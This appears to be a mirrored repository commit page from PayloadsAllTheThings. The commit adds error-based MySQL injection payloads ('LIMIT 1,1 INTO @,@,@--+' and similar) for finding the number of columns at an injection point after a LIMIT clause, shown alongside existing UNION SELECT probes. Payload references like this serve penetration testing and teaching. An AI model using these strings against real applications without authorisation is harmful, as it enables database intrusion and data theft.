ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-18 18:36:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Updated Detect columns number

Browse Source 
Detect columns number using LIMIT INTO Error Based
This commit is contained in:
nizam0906 2019-10-29 16:48:11 +05:30 committed by GitHub
parent f81f9440b8
commit 614e8a97b9
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 10 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
SQL Injection/MySQL Injection.md
View File

@ -95,6 +95,16 @@ This method works if error showing is enabled
1' UNION SELECT @,@,@--+ #No error means query uses 3 column 1' UNION SELECT @,@,@--+ #No error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True #-1' UNION SELECT 1,2,3--+ True
``` ```
#### using `LIMIT INTO` Error Based
This method works if error showing is enabled.
It is useful for finding the number of columns when the injection point is after a LIMIT clause.
```sql
1' LIMIT 1,1 INTO @--+ #The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@--+ #The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@,@--+ #No error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True
```
### Extract database with information_schema ### Extract database with information_schema
Then the following codes will extract the databases'name, tables'name, columns'name. Then the following codes will extract the databases'name, tables'name, columns'name.